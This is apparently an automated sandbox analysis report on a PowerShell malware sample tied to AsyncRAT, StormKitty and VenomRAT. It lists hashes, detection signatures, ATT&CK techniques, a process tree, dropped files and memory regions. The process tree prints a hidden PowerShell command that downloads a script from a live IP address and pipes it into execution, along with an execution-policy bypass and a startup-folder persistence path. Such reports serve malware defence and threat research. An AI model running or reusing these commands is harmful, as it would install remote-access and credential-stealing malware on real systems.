asyncrat | 61270d6564a80eff42a00bf542fc79224949fb27df8c1d6d3acbaa6000fc8577

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02/01/2025, 18:15

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General

Target

wrcaf.ps1
Size

2KB
MD5

898d5189a1dc57fa7a80b4d986ef77c9
SHA1

aeb3667119b2fda564f498d26c04758caf44b1c5
SHA256

61270d6564a80eff42a00bf542fc79224949fb27df8c1d6d3acbaa6000fc8577
SHA512

d8cc4add28939f7072fad657b863f0e49ae420bae27a952db499f66caebbda79ff29a552f12ef0cd2cbd1d32003c0db940f0a16bceca196cd3684472c0c2e8c8

Score

10^/10

asyncrat stormkitty venomrat discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/2476-58-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

VenomRAT 1 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/memory/2476-58-0x0000000000400000-0x0000000000704000-memory.dmp	VenomRAT

Venomrat family
venomrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	3960	powershell.exe
16	372	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3960	powershell.exe
372	powershell.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1624	Package.exe

Loads dropped DLL 1 IoCs

pid	Process
1624	Package.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 372 set thread context of 2476	372	powershell.exe	93

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2740	1624	WerFault.exe	86

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Package.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3960	powershell.exe
3960	powershell.exe
3960	powershell.exe
3960	powershell.exe
372	powershell.exe
372	powershell.exe
2476	RegAsm.exe
2476	RegAsm.exe
2476	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3960	powershell.exe
Token: SeDebugPrivilege	372	powershell.exe
Token: SeDebugPrivilege	2476	RegAsm.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1624	Package.exe
1624	Package.exe
1624	Package.exe
2476	RegAsm.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3960 wrote to memory of 2288	3960	powershell.exe	85
PID 3960 wrote to memory of 2288	3960	powershell.exe	85
PID 2288 wrote to memory of 1624	2288	cmd.exe	86
PID 2288 wrote to memory of 1624	2288	cmd.exe	86
PID 2288 wrote to memory of 1624	2288	cmd.exe	86
PID 1624 wrote to memory of 212	1624	Package.exe	87
PID 1624 wrote to memory of 212	1624	Package.exe	87
PID 1624 wrote to memory of 212	1624	Package.exe	87
PID 212 wrote to memory of 372	212	cmd.exe	89
PID 212 wrote to memory of 372	212	cmd.exe	89
PID 212 wrote to memory of 372	212	cmd.exe	89
PID 372 wrote to memory of 1956	372	powershell.exe	91
PID 372 wrote to memory of 1956	372	powershell.exe	91
PID 372 wrote to memory of 1956	372	powershell.exe	91
PID 1956 wrote to memory of 4712	1956	csc.exe	92
PID 1956 wrote to memory of 4712	1956	csc.exe	92
PID 1956 wrote to memory of 4712	1956	csc.exe	92
PID 372 wrote to memory of 2476	372	powershell.exe	93
PID 372 wrote to memory of 2476	372	powershell.exe	93
PID 372 wrote to memory of 2476	372	powershell.exe	93
PID 372 wrote to memory of 2476	372	powershell.exe	93
PID 372 wrote to memory of 2476	372	powershell.exe	93
PID 372 wrote to memory of 2476	372	powershell.exe	93
PID 372 wrote to memory of 2476	372	powershell.exe	93
PID 372 wrote to memory of 2476	372	powershell.exe	93

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\wrcaf.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3960
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Package.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2288
- - C:\Windows\Temp\Package.exe
    C:\Windows\Temp\Package.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1624
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:212
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:372
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\35gt05ar\35gt05ar.cmdline"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1956
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC4E6.tmp" "c:\Users\Admin\AppData\Local\Temp\35gt05ar\CSC679C3671FB4043C58A475C966723ACE.TMP"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4712
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2476
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1624 -s 180
      4⤵
      Program crash
      PID:2740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1624 -ip 1624
1⤵
PID:4768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a9b53645ac136a73f0af2f791f716efd

SHA1
9917c3c61b029440dacd1b93a80700ce4afdfae8

SHA256
e9945e3f08483ef253189f405ad6ed0360649884e7ff534bbb233ba93fdd71d6

SHA512
a10d2e89faf9f76242edf38c88af522c7739402e158b7202566442bcbe78c84e7ff1c375a90c75bc396046e90a8a57dc24817a1a5ae524da148c1eef034962b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\35gt05ar\35gt05ar.dll

Filesize
9KB

MD5
65a672c74ad66c1061c3b7231652d669

SHA1
0bdae78db22ce446a5edeb453454a461548201e1

SHA256
d0cb17a34a1f430b2df8ea9d9ed1e9fcc6f10b95011b5b97f949485864c5fc92

SHA512
a3610a403a625ed293004ec33cfd93b36e94ad5ec9214052a8c5c843b368b020529b29cf8c2064a1f79c29b9d61364f1f2f5a6e41d7a74e1ba069cfd5c431247

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESC4E6.tmp

Filesize
1KB

MD5
7c4582d89b4263d0f435be4ac16a1c8c

SHA1
2ed23c54bd5acf5f2a82cec803c614f6cde698fd

SHA256
b3c3b6d42280445b6a8eca4bf2db8d9d6af4eb30d62a2a0d492d2ca133b86add

SHA512
08b16249dd455236448210a03a489fa997af7f007b91753d18607f842acf102b40c2cde490ee07c385e33fee31842bc4911cfcd639d769b4d89229cde4615ee7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lgpq1by1.cpc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\IVIEWERS.DLL

Filesize
88KB

MD5
33ae2b9c3e710254fe2e2ce35ff8a7c8

SHA1
109e32187254b27e04ef18bbe1b48fad42bca841

SHA256
9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68

SHA512
2abe017e2f1d29fe789206d6483b9b33e7abd0871300d678eaba15e390d55c5e197d6cea6ea32dfdee5f65d082574adcc192a4fc0c9506bbba8ad7e957e12599

Download Submit
C:\Windows\Temp\Package.exe

Filesize
201KB

MD5
2696d944ffbef69510b0c826446fd748

SHA1
e4106861076981799719876019fe5224eac2655c

SHA256
a4f53964cdddcccbd1b46da4d3f7f5f4292b5dd11c833d3db3a1e7def36da69a

SHA512
c286bc2da757cbb2a28cf516a4a273dd11b15f674d5f698a713dc794f013b7502a8893ab6041e51bab3cdd506a18c415b9df8483b19e312f8fcb88923f42b8eb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\35gt05ar\35gt05ar.0.cs

Filesize
10KB

MD5
3fa79decff8805745cea8116d9bb2643

SHA1
92343c5fa2c768b964ae3a4e9136e5d7193e8558

SHA256
e6852a401b53a7af04d57aa1e4fc9621e3dffc1221534142316a27ae67e8f89c

SHA512
5c2879e59fa6609e6e87f70c5237b250a906bf7dd13a343dac9e81635b1fc91ad9374e643a306b99503c52ce9bd56554a64aa132584c732d43ee39fb17305d78

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\35gt05ar\35gt05ar.cmdline

Filesize
204B

MD5
1b69eca2bcd18284a0bc211f490092a9

SHA1
850c0f528a76fdcb726c542838779dfb8088e42b

SHA256
4956601a6ebe8a1216bf48cf167c143dac82b1cae85e7cf05d3a32d154ba3bec

SHA512
9a27ccd4ef9ffa2a311777efcc1d653cabc45ff10f766de1119b7c11ddcdb621f824e57a178c2aca6fbce32da51962d8b54ebb0d5be3a95e828d47fcaf303d88

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\35gt05ar\CSC679C3671FB4043C58A475C966723ACE.TMP

Filesize
652B

MD5
b391632ace3fc2e57036c3a48db130e6

SHA1
2470cd06506790c2db182e94b2220c2c46d01287

SHA256
abd8a11d584cee7fedbd01f9db665a20885aba82aa5c4d12649280c7f3e61d3c

SHA512
2d034b712200b26e28a60be0e02f77599eca30f128e00e169894a1005387a18895cfff30218fd995201859585542a6fa65aebdd23cce5af25f672ac9b5fde02a

Download Submit
memory/372-23-0x0000000002B60000-0x0000000002B96000-memory.dmp

Filesize
216KB

Download
memory/372-56-0x00000000077D0000-0x00000000077D8000-memory.dmp

Filesize
32KB

Download
memory/372-26-0x0000000005960000-0x00000000059C6000-memory.dmp

Filesize
408KB

Download
memory/372-27-0x00000000059D0000-0x0000000005A36000-memory.dmp

Filesize
408KB

Download
memory/372-37-0x0000000005B70000-0x0000000005EC4000-memory.dmp

Filesize
3.3MB

Download
memory/372-24-0x0000000005330000-0x0000000005958000-memory.dmp

Filesize
6.2MB

Download
memory/372-39-0x00000000061B0000-0x00000000061CE000-memory.dmp

Filesize
120KB

Download
memory/372-40-0x00000000061F0000-0x000000000623C000-memory.dmp

Filesize
304KB

Download
memory/372-41-0x00000000077F0000-0x0000000007E6A000-memory.dmp

Filesize
6.5MB

Download
memory/372-42-0x00000000066A0000-0x00000000066BA000-memory.dmp

Filesize
104KB

Download
memory/372-43-0x00000000077C0000-0x00000000077CE000-memory.dmp

Filesize
56KB

Download
memory/372-25-0x0000000005170000-0x0000000005192000-memory.dmp

Filesize
136KB

Download
memory/2476-58-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/2476-61-0x0000000005820000-0x0000000005DC4000-memory.dmp

Filesize
5.6MB

Download
memory/2476-62-0x0000000005610000-0x00000000056A2000-memory.dmp

Filesize
584KB

Download
memory/2476-63-0x00000000055D0000-0x00000000055DA000-memory.dmp

Filesize
40KB

Download
memory/2476-66-0x00000000065E0000-0x000000000667C000-memory.dmp

Filesize
624KB

Download
memory/2476-67-0x00000000069A0000-0x0000000006CF4000-memory.dmp

Filesize
3.3MB

Download
memory/3960-20-0x00007FFEEB9B0000-0x00007FFEEC471000-memory.dmp

Filesize
10.8MB

Download
memory/3960-12-0x00007FFEEB9B0000-0x00007FFEEC471000-memory.dmp

Filesize
10.8MB

Download
memory/3960-11-0x00007FFEEB9B0000-0x00007FFEEC471000-memory.dmp

Filesize
10.8MB

Download
memory/3960-1-0x00000225599E0000-0x0000022559A02000-memory.dmp

Filesize
136KB

Download
memory/3960-0-0x00007FFEEB9B3000-0x00007FFEEB9B5000-memory.dmp

Filesize
8KB

Download